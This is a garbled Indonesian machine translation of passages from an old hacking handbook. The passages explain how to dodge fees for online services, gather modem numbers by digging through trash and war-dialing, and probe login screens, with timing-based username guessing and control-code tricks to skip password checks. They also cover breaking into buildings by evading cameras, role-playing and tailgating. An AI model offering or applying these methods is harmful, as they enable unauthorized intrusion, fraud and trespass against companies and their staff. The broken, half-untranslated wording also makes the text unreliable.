Siapa yang tepatnya link Anda menginstal komputer? Pilihan banyak. komputer rumah lainnya, mainframe, mini komputer, perusahaan komputer, instansi pemerintah, klub - Anda dapat terhubung dengan organisasi atau individu dengan komputer dan keinginan untuk mempertahankan hubungan komputer dengan orang lain.

Anda juga bisa muncul di benak database tantangan online yang ada dan layanan fee-based.

Untuk kesenangan yang anda harus membayar

Baru-baru ini, seorang hacker dijuluki "Rebel" mengeluh kepada saya bahwa semua jasanya sesuai CompuServe, kecuali satu - prohibitively biaya tinggi untuk layanan tersebut. Untuk alasan yang sama CompuServe sering berganti nama CompuServe, menggantikan dolar lencana modal S. CompuServe bukan hanya vendor yang menyediakan pengguna untuk membayar tagihan besar mereka untuk iklan. Ada ratusan layanan operasi online, yang dapat Anda bergabung, atau retak - apa yang Anda suka.

Database memberikan informasi untuk melihat tentang topik apa saja: berita, hasil sensus, informasi pasar, hasil penelitian pemerintah, laporan ilmiah dan teknis, buku, informasi pribadi, sejarah dan budaya. Kadang-kadang, aku menyelidiki mereka sampai larut malam untuk mencari informasi apapun yang diperlukan untuk buku, atau keluar dari rasa ingin tahu belaka. Anda bisa masuk ke database seperti di setiap saat, siang dan malam, dan menemukan di dalamnya apa yang Anda inginkan. Tentu saja, biaya uang. Untuk akses ke database anda harus membayar, dan di samping itu ada:

• Pada layar biaya untuk setiap informasi yang muncul di layar, atau membayar untuk setiap query ke database.

• Biaya per jam tergantung pada waktu di mana Anda tersambung ke dasar.

• Tambahan biaya untuk menggunakan modem dengan tingkat lebih tinggi (kemampuan untuk mendapatkan informasi lebih lanjut di waktu yang sama).

• Biaya untuk panggilan jarak jauh, jika kantor memiliki nomor akses ada di daerah Anda.

Banyak hacker tidak mau membayar tagihan meningkatnya layanan ini, sementara pada saat yang sama, tidak ingin untuk menghentikan layanan mereka, khususnya, karena mereka mengeluarkan banyak informasi spesifik berguna. Game online, e-mail, newsgroup, papan buletin dan banyak lagi membuat layanan berbayar menarik bagi hacker. Mereka juga menarik banyak cara untuk menghindari pembayaran untuk jasa yang diberikan. Buku ini menjelaskan banyak dari mereka.

Anda mungkin tertarik untuk mempelajari trik dari dua kerupuk muda dari New Jersey, bebas menggunakan salah satu layanan ini. PC merek tertentu yang dijual bersama dengan beberapa program lain, termasuk keanggotaan uji coba untuk layanan ini. Kerupuk hacked sebuah toko komputer, untuk mendapatkan daftar pembeli yang membeli komputer ini. Banyak pembeli adalah individu atau keluarga, tapi di antara mereka juga menemukan banyak toko-toko dan bisnis. Untuk membawa perusahaan-perusahaan, mereka meraba-raba di kantor mereka dan ruang belakang. Tentu saja, salah satu rak buku di sudut jauh meletakkan amplop tertutup yang berisi petunjuk "Memulai dengan StarBase On-line" dan kode percobaan akses dengan komputer.

jaringan dengan packet switching

Perusahaan dan instansi pemerintah, yang di komputer Anda ingin browsing, tersebar di seluruh negeri. Tetapi sementara Anda tentu tidak ingin menyelidiki dompet sendiri untuk membayar semua panggilan jarak jauh. Memecahkan masalah - jaringan data publik (Public Data Network - PDN).

PDN - jaringan yang mencakup ratusan komputer di seluruh negeri. Kamu menyebut komputer terdekat dan ketik alamat sistem komputer yang Anda ingin terhubung. Alamatnya biasanya merupakan sesuatu seperti nomor telepon. Jika Anda mengetik alamat tersebut valid, layar muncul untuk memuat sistem yang ditentukan. Sekarang Anda mendapatkan kesempatan untuk berinteraksi dengan sistem, seperti jika tertangkap dengan langsung nya, padahal semua teks yang Anda ketik, pecah menjadi potongan-potongan (paket) yang dapat dikompresi dan dikodekan, dan dalam bentuk ini adalah di negara ini, dari satu komputer ke komputer lain sampai mereka mencapai tujuan.

Secara bersamaan, jaringan dapat melakukan perjalanan ratusan pesan, sementara ribuan pengguna berinteraksi dengan beberapa komputer di dalam sebuah jaringan. meneruskan pesan seperti itu disebut packet switching. Komputer, memainkan peran perantara, dikenal sebagai perakit paket, disassembler (PAD), karena mereka menerima paket yang masuk data, memisahkan header paket dikodekan yang memberitahukan kepada komputer yang menerima paket, kemudian kembali ditambahkan ke paket informasi yang sudah tentang arah baru, dan mengirimkan pada rute Anda.

Hacker cinta untuk bergabung PDN. Berada di jaringan, hacker dapat memasuki berbagai alamat secara acak. Beberapa menit kemudian ia ternyata berbagai masukan prompt yang bisa hack, dan semua ini pada panggilan lokal.

Dari PDN paling terkenal dapat disebut Telenet dan Tymnet, ada juga jaringan internasional dan asing dengan packet switching. Anda selalu dapat menghubungi salah satu layanan ini untuk mengambil daftar jaringan dengan packet switching untuk wilayah Anda.

Jaringan lain

Dari semua jaringan lain bisa diperhitungkan hanya Internet.

Internet - jaringan global yang terdiri, pada gilirannya, dari jaringan lain. Ini termasuk jaringan akademik dan pemerintahan, perusahaan dan organisasi di seluruh dunia, dihubungkan oleh PDN. Anggota ide-ide Internet pertukaran, program, teknologi, rumor dan resep dukun.

Sebelum munculnya Internet ada APRANET - jaringan militer, yang telah terjadi sekarang MILNET (jaringan baik yang dilindungi pangkalan militer AS), dan jaringan kecil lainnya, juga dimiliki oleh U. S. Army. Bersama-sama mereka membentuk DDN - Pertahanan Data Jaringan (Network untuk Pertahanan Informasi). Sekarang DDN - hanya satu dari banyak jaringan membentuk Internet.

Ada juga National Science Foundation Network (NSFNET) - Jaringan penelitian ilmiah nasional, yang meliputi pusat superkomputer dan organisasi penelitian lain yang didukung oleh NSF. CSNET - jaringan yang dibuat 'Naya untuk pengembangan kerja sama antara organisasi yang memiliki desain komputer umum. Janet - jaringan Kerajaan Inggris Raya, salah satu jaringan nasional yang terdiri dari Internet. Internet - sebuah komunitas yang benar-benar global.

Banyak layanan berbayar mengharuskan Anda memiliki akses ke Internet. Dengan anggaran internet komputer yang terhubung dari berbagai perguruan tinggi. Bahkan, keanggotaan di Internet memberi kesempatan untuk melakukan perjalanan di seluruh dunia sana dan kembali tanpa meninggalkan kursi Anda.

Di atas kita berbicara tentang alamat jaringan dengan packet switching. Alamat Internet adalah serangkaian kata-kata kode, yang dipisahkan oleh titik, dan termasuk satu komputer tertentu, salah satu dari jutaan yang membentuk Internet. Berikut adalah contoh alamat Web yang khas: "danielk@cz.zowie4.uboulder.edu". Satu bisa menebak bahwa departemen komputer Universitas Boulderovskogo adalah komputer yang disebut zowie4, tapi pada mesin ini bekerja seorang pria bernama Aeniel yang namanya dimulai dengan huruf "K". "Edu" - sebuah addendum standar di alamat akhir komputer. Identifikasi item juga bisa sebagai berikut:

COM - organisasi komersial;

MIL - organisasi militer;

GOV - pemerintah;

ORG - Non-profit lembaga, dan

NET - komputer administrasi online.

alamat internet mungkin berakhir dalam singkatan dua digit - singkatan dari negara. Sebagai contoh:

AU - Australia;

IL-Israel;

US - Amerika Serikat;

JR - Jepang;

Inggris - Inggris;

DE - Jerman.

bagaimana untuk mendapatkan nomor kode

Untuk berkomunikasi langsung dengan komputer, Anda memerlukan nomor telepon mereka. Seringkali, Anda dapat menelepon perusahaan dan meminta operator untuk menghubungkan Anda untuk beralih departemen komputer, dan (atau) dengan garis komputer. Jika tidak berhasil, cobalah untuk melewati ke kantor perusahaan individu dan meminta mereka apakah mereka tahu bagaimana mendapatkan akses ke sebuah perusahaan komputer dengan komputer rumah mereka. Jika mereka tidak tahu angka, mungkin pada komputer di kantor mereka di sana adalah sebuah program terminal, yang menyimpan nomor telepon.

Sangat berguna buku telepon. Pertama, jenis internal: perusahaan dan organisasi lain membentuk direktori dengan karyawan ekstensi telepon. direktori internal juga bisa daftar kamar departemen yang berbeda, dan kadang-kadang nomor rumah bahkan telepon dan alamat karyawan. Nama mereka dapat digunakan jika Anda ingin berpura-pura menjadi teman dari orang-orang saat Anda menelepon mereka. Tetapi jika nomor ini dimasukkan dalam buku petunjuk telepon, Anda tidak perlu melakukan panggilan seperti

Sumber data lain yang berguna - direktori khusus baris data perusahaan telepon.

Ketika seseorang sedang berbicara di telepon, dia membayar tidak ada perhatian pada fakta bahwa setelah jangka waktu tertentu suara di ujung yang lain menjadi tidak jelas, atau volume sedikit lebih tinggi, sedikit lebih rendah. Tapi ketika mentransfer data antara komputer interferensi noise dapat menjadi masalah serius. Oleh karena itu, perusahaan telepon untuk biaya satu set di kantor baris khusus untuk memfasilitasi bagian aliran data antara perangkat telekomunikasi seperti modem. Jika Anda berhasil mendapatkan buku telepon dengan jumlah baris-baris ini, Anda akan mendapatkan koleksi yang luar biasa nomor telepon dari komputer (dan fax). Banyak hacker menemukan direktori ini, mencari-cari di sampah.

Cara ketiga untuk menggunakan buku telepon - melihat semua bebas menerbitkan halaman putih dan kuning. Perusahaan-perusahaan besar memiliki banyak nomor telepon, dan nomor dari setiap kantor atau departemen yang berbeda dari kamar sebelah pada digit tunggal. Misalnya, untuk panggilan dalam setiap departemen Perusahaan X, anda harus dial 390-WXYZ. Tiga digit pertama adalah sama untuk semua departemen, dan empat terakhir - yang berbeda untuk setiap saluran telepon. Anda hanya perlu menyalakan komputer dan membuat file teks dengan daftar pilihan dari empat digit terakhir, yang diberikan dalam buku telepon perusahaan. Kemudian mengurutkan daftar dan memeriksa setiap dari pilihan yang tidak ada dalam daftar ini.

Dalam tugas ini dapat membantu untuk menyeberangi direktori telepon. Cross-direktori tidak diurutkan berdasarkan nama, tetapi dengan angka. Jika Anda tahu bahwa tiga digit pertama nomor telepon X - 390, penggunaan buku ini akan memberikan daftar yang lebih besar dari angka dikecualikan. Dengan demikian, penghitungan potensi pilihan nomor menurun.

Software mampu berulang kali dial serangkaian nomor telepon, pelaporan pada koneksi modem. Program-program ini (mereka sering bisa ditemukan di hacking dan BBS krakerskih), memiliki banyak nama: "WarGames Dialer", "autodialers" (autodial), dll Jika Anda tidak dapat menemukan program seperti ini, menulis sendiri - itu mudah dan mengambil Anda hanya memiliki beberapa jam.

Meminjam autodial, gunakan dengan hati-hati. Ketika Anda mulai membuat sebagai panggilan banyak dalam waktu singkat dan dengan ketekunan tersebut, keamanan perusahaan telepon akan mengerti apa yang terjadi. Saya sering berpikir tentang apa yang akan menyenangkan untuk terhubung dengan komputer telemarketa autodial. Kemudian semuanya akan terlihat sepenuhnya sah: jika ponsel akan meningkatkan manusia, ia akan mendengar pesan rekaman singkat, jika modem diaktifkan, Anda dapat menelepon kembali.

nomor kode keamanan METODE

Beberapa direktur keamanan dalam semacam perangkap. Mereka memahami pentingnya akses langsung dial-up, namun mereka menyadari juga bahwa jika seseorang setiap saat bisa langsung terhubung ke sebuah keamanan komputer berakhir.

Untuk mengatasi kontradiksi ini, bertanggung jawab atas keamanan tidak mengijinkan langsung dial-in akses ke komputer. Diperbolehkan akses hanya ke perangkat menengah, atau seperti komputer, yang melindungi data sensitif dari hacker potensial.

Sebagai contoh, Anda dapat menghubungi komputer yang dirancang khusus untuk memeriksa hak akses. Jika hukum dikonfirmasi, pengguna beralih ke saluran yang terhubung ke komputer yang ada. Lalu ia dapat meminta untuk menentukan anggaran pribadi Anda nama pengguna dan password. Walaupun password Anda untuk komputer awal tetap menjadi rahasia dan berubah secara berkala, data penting pada komputer yang ada aman.

Di negara-negara di mana ID query (dan bahkan pada mereka di mana tidak), Anda dapat menginstal modem untuk handshaking dengan pengguna membuat panggilan ke nomor telepon resmi. Administrator sistem memiliki daftar nomor telepon rumah dan jumlah lembaga-lembaga milik pengguna yang sah, dan jika komputer "melihat" bahwa panggilan berasal dari nomor yang tidak terdaftar, sambungan terputus segera. Sambungan akan terputus dan jika pemanggil sudah termasuk memblokir panggilan yang tidak memungkinkan panggilan identifier membaca nomor teleponnya.

Dimana identifikasi panggilan tidak ada atau tidak tersedia, dapat digunakan metode callback. Jika penelepon memasuki kredensial benar, host komputer dimatikan, dan kemudian dia memanggil kembali nomor telepon yang disimpan dalam memori dan sesuai dengan informasi yang Anda masukkan. Ini adalah metode yang biasa callback, tapi dalam beberapa kasus (misalnya, dalam suatu sistem papan buletin elektronik RBBS-PC), ia dilakukan dengan cara sebagai berikut: penelpon menunggu telepon akan membuat sejumlah panggilan, kemudian menutup telepon dan panggilan kembali lagi. Kali kedua, BBS menjawab panggilan tersebut. Jika Anda setelah N panggilan penelepon tidak memasang, komputer akan mengabaikan panggilan umum, sehingga menjamin keselamatan. Jadi, jika Anda tahu bahwa sejumlah tertentu milik komputer, tapi dia tidak menjawab, cobalah untuk mengulangi beberapa kali panggilan, masing-masing nomor yang berbeda membuat panggilan, dan segera perezvanivaya.

Host komputer juga dapat terhubung pemanggil selama sistem telepon kunci tidak akan mendapatkan kode tertentu. Karena kode ini biasanya dibuat oleh program terminal menyebabkan komputer, bisa sangat panjang dan rumit, sehingga sulit untuk menebak secara acak atau crack menggunakan kekerasan.

Seperti yang Anda lihat, metode di atas memberikan keamanan secara signifikan mempersulit kehidupan hacker. Tentu saja, Anda dapat menggunakan rekayasa sosial untuk menarik informasi dari pengguna yang sah dari sistem, tetapi seringkali seorang hacker bahkan tidak mencurigai adanya tindakan keras tersebut.

Anda dapat dari waktu ke waktu prozvanivat nomor telepon tertentu, jika Anda memiliki alasan untuk mencurigai bahwa salah satu dari mereka milik baris komputer. Jika salah satu nomor tidak pernah menjawab, berapa kali kau sebut dia, kita bisa berasumsi bahwa terhubung ke elemen ke callback atau sesuatu seperti itu. Jika Anda menelepon, Anda mendengar bahwa pada akhir lain dari komputer, tetapi sambungan ini gagal, komputer Anda mungkin "melihat" ke nomor telepon Anda dan menyimpulkan bahwa itu tidak valid. (Atau apakah Anda mencoba berkomunikasi dengan fax.) Perangkat seperti panggilan identifier, atau mereka yang menelepon kembali, terutama terjadi di sistem-sistem komputer, pengguna berada dalam suatu wilayah kecil. Remote sistem juga mungkin mencoba untuk menentukan nada tertentu yang dikodekan dalam modulasi - meskipun koneksi dial-up line dan Anda mungkin perlu untuk peralatan khusus.

Kadang-kadang, sistem manajer pergi begitu jauh sehingga mereka menyembunyikan fakta keberadaan mereka memiliki komputer yang terhubung ke koneksi garis diaktifkan. Ketika seorang pengguna komputer panggilan, perangkat khusus menjawab panggilan tersebut. Alih-alih karakteristik suara yang dipancarkan oleh modem, pengguna mendengar rekaman suara, gangguan kebisingan, atau bahkan mendengar apa-apa - sampai modem panggilan tidak akan mengirim sistem remote, sandi khusus. Tentu saja, trik ini sangat mudah untuk mengacaukan apapun autodial.

Secara umum, perangkat yang membatasi akses ke komputer yang diinginkan, merupakan tidak lebih dari lapisan pelindung biasa yang harus diatasi. Untungnya, kebanyakan komputer tidak dilengkapi dengan cara ini dan retak mereka tidak lebih sulit daripada mengalahkan telur rebus.

penyelidikan rinci script logon

Logon script - area dari komputer remote, akses yang Anda terima, belum mendefinisikan dirinya sebagai pengguna resmi dari sistem.

Kebanyakan komputer logon script terbatas pada undangan untuk memasukkan nama pengguna dan sandi. Beberapa skenario yang lebih luas dan memberikan undangan obscheekomandnoe, sebagai tanggapan yang dapat Anda ketik sejumlah tim. Tim-tim ini belum tentu dilakukan (mungkin pertama Anda log in), tetapi mereka dapat membantu Anda.

Ada beberapa perintah umum yang dapat diperkenalkan dalam merespon perintah sistem prompt. Pertama, coba masukkan "membantu" atau Dan "?" Melihat apakah Anda mendapatkan apa-apa. Perintah seperti "pengguna", "pengguna menunjukkan" atau "yang" mungkin berguna karena Anda akan melihat daftar pengguna sistem dan mencoba menerka password mereka. Keuntungan dari beberapa tim lainnya dapat muncul tidak begitu jelas, dan banyak tim yang umumnya bisa berguna untuk hacker.

Perintah yang besar ditambah dasar prompt adalah bahwa sering mungkin untuk kembali setelah Anda tidak bisa masuk. Bahkan jika Anda telah memperkenalkan tiga kombinasi yang salah nama pengguna, sandi, komputer terus untuk kembali Anda untuk command prompt, memberikan Anda kesempatan untuk membuat upaya berikutnya.

Jika Anda datang ke prompt perintah utama, dan membantu tidak tersedia, cobalah untuk melakukan veshi berbeda, menaruh perhatian pada pesan kesalahan yang Anda dapatkan. Coba mengetik perintah dalam huruf besar, huruf kecil dan dicampur. Lihatlah panjang minimum dan maksimum dari perintah. Lihatlah apa yang karakter diakui. Semua ini akan membantu Anda untuk mengurangi daerah yang tidak diketahui, dan menentukan tindakan yang tepat. Jika setiap waktu dengan mengetik "HELP", Anda mendapatkan pesan kesalahan "Baris terlalu panjang" ("String terlalu panjang"), Anda akan tahu bahwa sistem ini cenderung mengharapkan triple-tim. Ini adalah informasi berguna.

Jika Anda mengetik "CONNECT", dan sistem merespon dengan "The CONNE verba tidak tersedia", jadi dia hanya melihat lima karakter pertama dari perintah input. Jika sistem mengambil semua karakter, Anda dapat menggunakan bantuan. Misalnya, mengetik "HELP", Anda akan mendapatkan daftar perintah, "PERINTAH HELP NAMA" - penjelasan untuk satu tim tertentu. Ini adalah sistem umum perawatan.

Mari kita lanjutkan langsung ke nama input pengguna dan password. Beberapa terminal dapat memberitahu Anda tentang yang salah segera setelah Anda memasukkan nama yang salah, sementara yang lain menunggu sampai Anda memasukkan nama pengguna dan sandi. Tipe pertama adalah lebih baik, kurang aman dan membutuhkan jauh lebih banyak serangan yang ke dua. Jadi, IBM VM, 370 telah cukup kabel dalam pengertian ini, segera menginformasikan Anda bahwa, memberikan pesan kesalahan saat Anda memasukkan nama pengguna - "userid tidak dalam direktori cp". Salah satu sistem yang saya kenal (Dynix) mengikuti prinsip yang sama. Pertama, ia mem-bantu menyarankan vamvvesti "Sembilan kode ID digit" - "sembilan digit kode identifikasi" (? Jadi-jadi, apa itu "? Mungkin jumlah jaminan sosial), Dan kemudian, jika input itu benar, berkata:" Samantha pagi. Sekarang ketik password anda "-" Selamat pagi, Samantha. Sekarang masukkan sandi Anda. Ini komputer tertentu dengan mudah dapat mematahkan salah satu bahasa beberapa perintah dan memprogram ulang antarmuka berbasis menu. Komputer juga dilengkapi dengan port switching. Hack Dynix - menyenangkan.

Jika Anda hacking komputer tipe kedua (salah satu yang meminta nama dan password sebelum Anda mengumumkan Apakah informasi boot), perhatikan waktu yang dibutuhkan dia untuk memastikan bahwa prompt untuk password. Hal ini akan membantu untuk menyimpulkan apakah memang benar bahwa Anda memasukkan nama pengguna Anda. Sebagai contoh, Anda mengetikkan nama "Jim", dan sampai Anda diminta untuk memasukkan password begitu banyak waktu. Kemudian coba masukkan nama "Zzzzzzz" - jelas nama salah, yang tidak dalam memori komputer. Jika Anda memasukkan nama ini sampai Anda diminta untuk password adalah tetap dalam waktu lebih dari setelah "Jim", berarti, "Jim" - nama yang benar, dan Anda dapat melanjutkan untuk menebak password yang sudah dengan nama itu. Dalam sistem dengan pencarian sekuensial komputer Anda lebih lama mencoba untuk menemukan dalam file mereka salah memasukkan informasi, bukan benar. Dalam hal apapun, program asli selalu tersedia, terutama untuk file UNIX, dan Anda dapat melihat mereka untuk melihat bagian dalam, bagaimana mode input.

Jika Anda tidak tahu apa jenis nama pengguna dan sandi, atau digunakan dalam sistem ini, Anda harus resor untuk pengujian yang sama seperti dalam kasus umum memerintahkan undangan untuk trial and error untuk menemukan karakter yang diperlukan dalam kasus ini, dan berapa banyak.

Ada cara yang sama sekali berbeda untuk mengeksplorasi cara entry - melalui kode kontrol. Menekan tombol tertentu atau kombinasi tombol, mengirimkan kode ke komputer remote, yang membuat mereka bekerja berbeda dari biasanya. Sebagai contoh, Anda dapat mengirim ke komputer ASCII kode jauh-untuk perintah dia untuk berhenti membaca file dengan password. Kadang-kadang Anda bahkan dapat cepat sandi perenabirat masuk, memaksa komputer untuk percaya bahwa ia menemukan dalam file password saya, dan memungkinkan Anda untuk login ke sistem. Kadang-kadang menekan Control-Z (dari akhir file) pada waktu yang tepat Anda juga bisa mendapatkan hasil yang aneh.

Memperhatikan semua singkatan, ikon membingungkan, dll yang muncul di layar. Dalam setiap perpustakaan yang layak, ada Ensiklopedia akronim (dan dalam setiap tidak jujur - buku ini). Sangat sering Anda bisa menelepon jaringan dengan transmisi data diaktifkan, pasokan alamat yang benar dan melihat pada layar sesuatu seperti: "Selamat datang di VHMSD! Password "(" Selamat datang VHMSD sandi Anda!? ")?. Anda menghabiskan beberapa penelitian dan menemukan bahwa VHMSD - sebuah Tanduk Viking Barang dari South Dakota, dan untuk melakukan pencurian menjadi relatif lebih mudah. Ingatlah bahwa ketika Anda hacking ke dalam komputer sebenarnya "istirahat" orang-orang yang bekerja di atasnya. Jadi, jika Anda dapat mengetahui yang menyebut lagu di dalam kamu akan memiliki berbagai cara, termasuk metode penelitian, yang saya sebutkan di atas. Jika tidak, Anda hanya akan menyebabkan serangan sesekali pada komputer, telah meninggalkan hanya beberapa akronim jelas.

Hacking di tanah

2011-03-28T08:06:00.000+07:00

Di bagian bawah di atas piring meletakkan kota asing. Dia dipotong rapi, seperti kue. pasangan pagi bergegas warna-warni di atasnya. Berderak samar dan bersiul mendengar sedikit terburu-buru. antilopoviam. Jelas, ini warga nozzle. kayu bergigi datang ke kota. Loop jalan jatuh dari tebing.

- Paradise Valley - kata Ostap. - Kota menjarah bagus seperti di pagi hari ketika matahari tidak baking. Kurang lelah.

Ilya Ilf dan Petrov. The Golden Calf.

Selain menggunakan komputer publik, dibahas dalam bab sebelumnya, hacking di lapangan ada sisi lain:

hack komputer pribadi.

Tentu saja, cukup masukkan kantor pusat sebuah perusahaan dan duduk di depan komputer - sebuah usaha berisiko. Tapi bagaimana menarik untuk mendapatkan ke gedung dijaga, dan mengeksplorasi gedung dan komputer berlokasi di sana!

Kadang-kadang hacking di tanah diperlukan. Komputer sering tidak terhubung ke saluran telepon eksternal. Dalam beberapa sistem, identitas rahasia dari pengguna diperiksa dengan peralatan khusus. Untuk mendapatkan akses ke sistem ini, Anda mungkin harus menggunakan modem khusus, atau chip, dll Dalam kasus ini, Anda akan harus berurusan dengan perampokan di tanah. Selain itu, reverse social engineering juga sering melibatkan kunjungan ke komputer yang diinginkan. Su-

tangkai banyak alasan mengapa seorang hacker harus bertemu dengan komputer Anda "muka dengan muka."

Seringkali hal ini tidak sesulit seperti yang Anda bayangkan. Kadang-kadang meminta untuk masuk ke dalam organisasi besar, bukan kantor sebuah perusahaan asuransi kecil atau perusahaan kecil. Tapi mana pun Anda ingin pergi, Anda akan hampir pasti harus berurusan dengan perlindungan, pemantauan kamera, dan perangkat biometrik (lihat di bawah), secara signifikan menghalangi akses ke komputer.

video internal sistem surveilans

sistem keamanan tersebut relatif murah dan disebarluaskan. Mereka biasanya menggunakan gambar hitam dan putih.

Kamera dapat disembunyikan, tetapi tidak selalu. Kadang-kadang di tempat yang menonjol tidak terkait mencegah kamera, sedangkan saat ini berada dalam berbeda, biasanya tak terduga, untuk penyerang, bersembunyi dari kamera palsu, datang di tampilan aktif. Kadang-kadang untuk jenis set hanya kamera palsu, sedangkan sekarang tidak ada. Jika Anda melihat bahwa beberapa kamera tetap tetap, sementara yang lain akan kembali ke sana kemari, mereka baik rusak atau mereka yang palsu.

Beberapa kamera yang tertutup di shell pelindung. Ini mungkin sebuah kotak logam biasa, atau sesuatu yang lebih cocok untuk kasus tertentu, misalnya, merusak dengan tudung, mikrofon, pikir kisi-kisi, dll

Mengejar perampokan, berhati-hatilah dengan kamera tersembunyi, meskipun tidak selalu khusus untuk mencari mereka. Anda tidak ingin kamera Anda difilmkan dekat dan dalam pertumbuhan penuh. Cara terbaik adalah untuk bangga berbaris di tempat terlarang, tidak menaruh perhatian khusus untuk sudut dan langit-langit. Jika langit-langit adalah sesuatu yang menggantung ke bawah, tampak jauh.

video sistem surveilans Banyak bukanlah kualitas gambar berbeda. Tetapi beberapa, sebaliknya, memberikan gambaran yang sangat baik dari segala sesuatu yang mendapat di bidang kamera pandang. Jika kamera menyamar, sedikit dapat mengurangi efektivitas. kamera Tersembunyi biasanya stasioner dan terfokus pada satu titik - input, output, tempat tertentu di lorong.

Kamera kadang-kadang mengganggu dengan dan tanpa, di bawah atap atau di belakang pintu. Mereka dilindungi oleh tirai, fans, dll sisi sering dibahas oleh shell alumunium dengan lubang. Di luar kamar, dan disesuaikan untuk pemotretan malam hari, sehingga Anda dapat mendeteksi bahkan sebelum Anda masuk ke dalam gedung.

Jika Anda benar-benar harus melanggar batas-batas milik pribadi seseorang untuk sampai ke komputer mereka, cobalah untuk membuat hujan malam ini. Visibilitas kemudian akan buruk, orang yang Anda akan mencakup payung, dan jika Anda bisa mendapatkan secara bebas, Anda tidak perlu memburu terlalu cepat.

sistem biometrik

Kontrol akses komputer berdasarkan karakteristik pribadi, adalah yang paling dapat diandalkan - kecuali, tentu saja, perangkat berfungsi. Perangkat ini, yang disebut sistem biometrik yang mengontrol akses ke komputer, pergi ke ruangan di mana ada komputer, dengan memeriksa karakteristik unik pengguna fisik - sidik jari atau sawit, suara, tanda tangan, bentuk tangan, menggambar mata pembuluh darah, dll

Biometric sistem jalan, tetapi sering memicu sistem televisi bahkan lebih buruk, seperti yang aneh. Nada suara mungkin berubah karena penyakit, menggambar tangan berubah karena goresan pada kulit dan bahkan kaca, yang menekan orang yang telapak tangannya, dan tanda tangan pribadi mungkin bervariasi dari kasus ke kasus. Instrumen berdasarkan kelapa bentuk pengakuan, mungkin menolak pengguna yang sah karena perban di jarinya. Gambar terbentuk di mata pembuluh darah, juga sangat tergantung pada kondisi fisik pengguna.

Ketika saya mendengar tentang semua kekurangan ini, Anda bisa membayangkan apa yang bekerja di tempat di mana di pintu masuk ke perangkat setiap kali memeriksa mata Anda, atau di mana Anda harus berbicara secara tidak wajar cukup keras untuk menyalakan komputer. Beberapa hari kemudian order mengganggu, belum lagi waktu yang hilang dalam prosedur tersebut.

Meskipun para pegawai dan harus mematuhi aturan-aturan dari bagian kontrol seperti - misalnya, efek mereka jaga - mereka menggunakan kesempatan sedikit pun untuk menyerah pada aturan-aturan ini dengan tangan. Orang ingin menunjukkan keramahan mereka, menunjukkan bahwa mereka tidak selalu bagian dari mesin birokrasi bodoh dari perusahaan. Mereka suka untuk menjaga pintu-pintu terbuka, bahkan untuk orang asing. Mereka tidak berpikir bahwa seseorang dengan sengaja bisa mengambil keuntungan dari ini dan masuk ke dalam. Juga, setelah bekerja selama beberapa waktu di lembaga tersebut, orang mulai merasa bahwa semua sifat manusia mereka dikurangi dengan cetakan jari mereka.

Dengan demikian, sistem ini mahal sering terputus. Kadang-kadang staf bahkan berlama-lama di ambang pintu merindukanmu, bahkan jika Anda tidak melihat Anda sekali dalam hidup saya.

Dengan demikian, cara yang paling efektif untuk melindungi pengguna yang sah sering ditolak oleh pengguna yang sama. Yah, itu tidak buruk - setidaknya untuk hacker.

Path selalu

Hanya berpikir apa yang sejumlah besar lembaga-lembaga publik mengeluarkan uang untuk sesuatu untuk menonton kami dan menyerang hidup kita! Jika kekuatan yang akan ingin melakukan sesuatu, untuk belajar atau mengubah, harus diakui, diubah atau dilakukan.

Ketika kita mulai berpikir tentang hal ini, kita mulai berpikir bahwa instansi pemerintah tidak dapat menghancurkan atau menghentikan ... tidak ada hack, dan jika seseorang berani untuk berpikir tentang hal itu, pasti akan masuk penjara.

Ya, tidak seperti ini!

Pelayanan publik beroperasi dalam kerangka yang sangat terbatas pengetahuan dan tanggung jawab mereka. FBI - organisasi tas, tetapi juga hilang idiot mereka.

Hal ini diyakini bahwa dengan bantuan peralatan modern pemerintah mungkin melihat ke dalam kehidupan pribadi kita, seperti file ReadMe.doc. Hal ini diyakini bahwa pemerintah sistem komputer tidak dapat diakses. Banyak dari mereka yang umumnya terisolasi dari dunia luar dan tidak ada hacker tidak dapat retak mereka berhubungan dengan komputer mereka melalui jaringan telepon umum. Jaringan pemerintah yang paling sensitif yang terhubung melalui kabel serat optik diletakkan jauh di bawah bumi, dan bahkan jika seseorang bisa mendapatkan mereka, segera terdengar alarm.

Tentu saja, ini adalah perlindungan yang serius, terutama jika, selain untuk mengingat yang lain, dan banyak password, kode akses, dll, yang dibutuhkan untuk membaca data sensitif.

Tapi jangan lupa bahwa apapun, bahkan sistem yang paling kompleks selalu dibuat oleh orang. Tetapi orang-orang yang salah. Jika, setelah banyak tidur malam yang tenang lama penjaga tiba-tiba mendengar alarm, mereka mungkin tidak bereaksi, terus tidur. Dan jika mereka muncul, untuk memeriksa jaringan, dan kecemasan terbukti salah? Dan kedua, dan ketiga, juga? Cerita lama tentang seorang anak yang takut desa serigala, selalu benar, terutama di malam hujan.

Akan menjadi sistem - cara untuk hack itu selalu ada. Berikut adalah beberapa metode ini.

Hacking di tanah: cara bermain peran

Hacking di lapangan memerlukan persentase tertentu dari kemampuan akting. Anda harus bersikap

jadi jika Anda memiliki alasan kuat untuk berada di sini dan melakukan persis tindakan yang Anda lakukan. Ini tidak sulit. Berbaris melalui koridor dengan kepala terangkat tinggi, tersenyum dan menyapa dengan orang-orang maju. (Trik ini saya belajar di sekolah, ketika dia ingin bebas lepas dari pelajaran.)

Berjuang untuk mengendalikan diri. Siapkan beberapa kasus na cerita yang masuk akal anda berhenti dan mulai mempertanyakan. Jaga percakapan dengan kecepatan normal, tanpa getaran dalam suaranya, dan jangan lupa untuk mengacaukan setiap kata tertentu, tersebar di antara karyawan organisasi.

berikut di tumit

Metode ini dibagi menjadi dua jenis: e tindak - masukan ke dalam komputer di bawah nama user terakhir yang harus berurusan dengan sistem, dan fisik - penggunaan hak akses bagi orang lain untuk mendapatkan akses ke komputer atau di tempat di mana mereka berdiri.

Salah satu cara untuk sampai ke ruangan di mana Anda ingin memasukkan kartu magnetik - hanya berdiri di dekat pintu masuk dan menunggu untuk setiap pemegang kartu tidak akan membuka pintu Anda. Banyak kantor biasanya buka pada malam hari dan di akhir pekan, jadi ada bisa Escalator dan mereka yang akan bekerja lembur. Aku terutama cinta untuk menghadiri lembaga seperti pada hari Minggu. Cukup untuk menunggu sampai beberapa "workaholic" tidak menyebut di pintu, meninggalkannya terbuka. Di jalan, Anda tidak dapat memenuhi satu orang, bahkan dari staf teknis.

Sebelum melanjutkan ke "mengikuti jejak", mempersiapkan agar tidak menimbulkan kecurigaan. Memakai pakaian bisnis dan mengambil diplomat.

